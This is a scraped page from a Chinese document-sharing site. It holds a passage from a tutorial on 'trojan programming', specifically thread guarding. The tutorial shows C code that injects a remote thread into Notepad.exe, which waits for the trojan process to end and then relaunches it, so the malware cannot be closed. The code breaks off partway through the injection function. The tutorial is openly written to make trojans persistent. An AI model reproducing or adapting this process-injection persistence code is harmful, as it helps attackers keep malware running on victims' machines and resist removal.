- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
木马编程DIY之线程守护文/图 冷风
要防止自己的程序被关闭,通常有两种方法1.像IcesWord一样HOOK系统底层的函数2.使用线程保护。这里我们主要学习线程保护的方法线程保护的思路就是让其它程序监视自己,如果自身程序退出了,那么监视程序就重新启动,这个过程我简单画了一个图如图1所示跟据图示1我们来分析一下线程守护的思路,并编程实现一个简单的线程守护程序,本程序完成的功能是把监视代码插入到Notepad.exe进程以监视程序本身,如果自身被关闭,Notepad.exe进程将重新启动自身程序,以达到不死的效应,以下代码在VC6中编译通过现在我们重新整理一下思路,首先我们找一个其它进程做为我们的保护神并把自己进程的句柄传保护神,保护神通过用WaitForSingleObject函数来检测句柄来判断要保护的进程是否结束,如果结束就重新启动我们的程序.跟据上面的思路我们来分析细节的实现1.检测并保护程序的远程线程代码因为保护自己的代码要注入到Notepad.exe进程,而执行在远程线程代码的API都需要重新定位,为解决这个问题我们定义如下的结构typedef struct _remoteparameter{??? DWORD??? ??? rpWaitForSingleObject;??? DWORD??? ??? rpOpenProcess;??? DWORD?????? rpWinExec;??? DWORD??? ??? rpProcessPID;?????????? ??? HANDLE??? ??? rpProcessHandle;??? char??? ??? path[MAX_PATH];}REMOTEPARAM;这个结构中包的前三项为远程线程中需要使用的API函数, rpProcessPID为要保护的进程PID,rpProcessHandle用来保存要保护进程的句柄path为当程序被关闭时需要启动的程序路径。远程线程函数如下DWORD WINAPI remote(LPVOID pvparam){??? REMOTEPARAM *rp=(REMOTEPARAM*)pvparam;? //传递进来的信息??? typedef UINT??? ??? ??? (WINAPI *EWinExec)??? ??? ??? ??? (LPCSTR, UINT);??? typedef HANDLE??? ??? ??? (WINAPI *EOpenProcess)??? ??? ??? (DWORD, BOOL, DWORD);??? typedef DWORD??? ??? ??? (WINAPI *EWaitForSingleObject)??? (HANDLE, DWORD);??? EWinExec??? ??? ??? ??? tWinExec;??? EOpenProcess??? ??? ??? tOpenProcess;??? EWaitForSingleObject??? tWaitForSingleObject;??? tOpenProcess??? ??? ??? =(EOpenProcess)rp-rpOpenProcess;??? tWaitForSingleObject??? =(EWaitForSingleObject)rp-rpWaitForSingleObject;??? tWinExec??? ??? ??? ??? =(EWinExec)rp-rpWinExec;??? rp-rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp-rpProcessPID);//打开要保护的进程??? tWaitForSingleObject(rp-rpProcessHandle,INFINITE);//要保护的进程是否结束??? ??? tWinExec(rp-path, SW_SHOW);//如果结束就重新启动程序??? return 0;}2.将remote函数代码注入Notepad.exe进程并启动这里为了方便我定义成了一个函数,使用时只要提供要注入的进程名称就可以完成线程守护的功能,它的返回值是远程线程的句柄其实现如下:HANDLE CreateRemoteThreadProc(char* ProcessName){??? ??? HANDLE??? ThreadHandle;??? ??? char??? FilePath[MAX_PATH];??? ??? GetModuleFileNa
您可能关注的文档
最近下载
- 涉密运行维护管理制度.docx VIP
- MobileFlow-大模型驱动的终端自动化测试新范式-2025研发效能最佳实践.pdf VIP
- OPPO企业AI赋能研效提升的应用与原理解析-2025研发效能最佳实践.pdf VIP
- 《第四单元 西方音乐发展史掠影学习学习项目二 音乐中的浪漫主义》七年级上册音乐人教版 教案(表格式)(2024新版).docx
- T∕CACM 1090-2018 中医治未病技术操作规范 穴位敷贴.docx VIP
- 学科教学与综合育人能力提升谈谈个人见解与感悟.docx VIP
- 新解读《GB_T 35070.3-2018停车场电子收费 第3部分:交易流程》.docx VIP
- 1 《中国人民站起来了》课件(共61张PPT)统编版高中语文选择性必修上册.pptx VIP
- CMF:中国宏观经济专题报告(第98期):读懂价格信号,稳住经济大盘.pdf VIP
- 字节跳动 研发效能提升之道-2025研发效能最佳实践.pdf VIP
文档评论(0)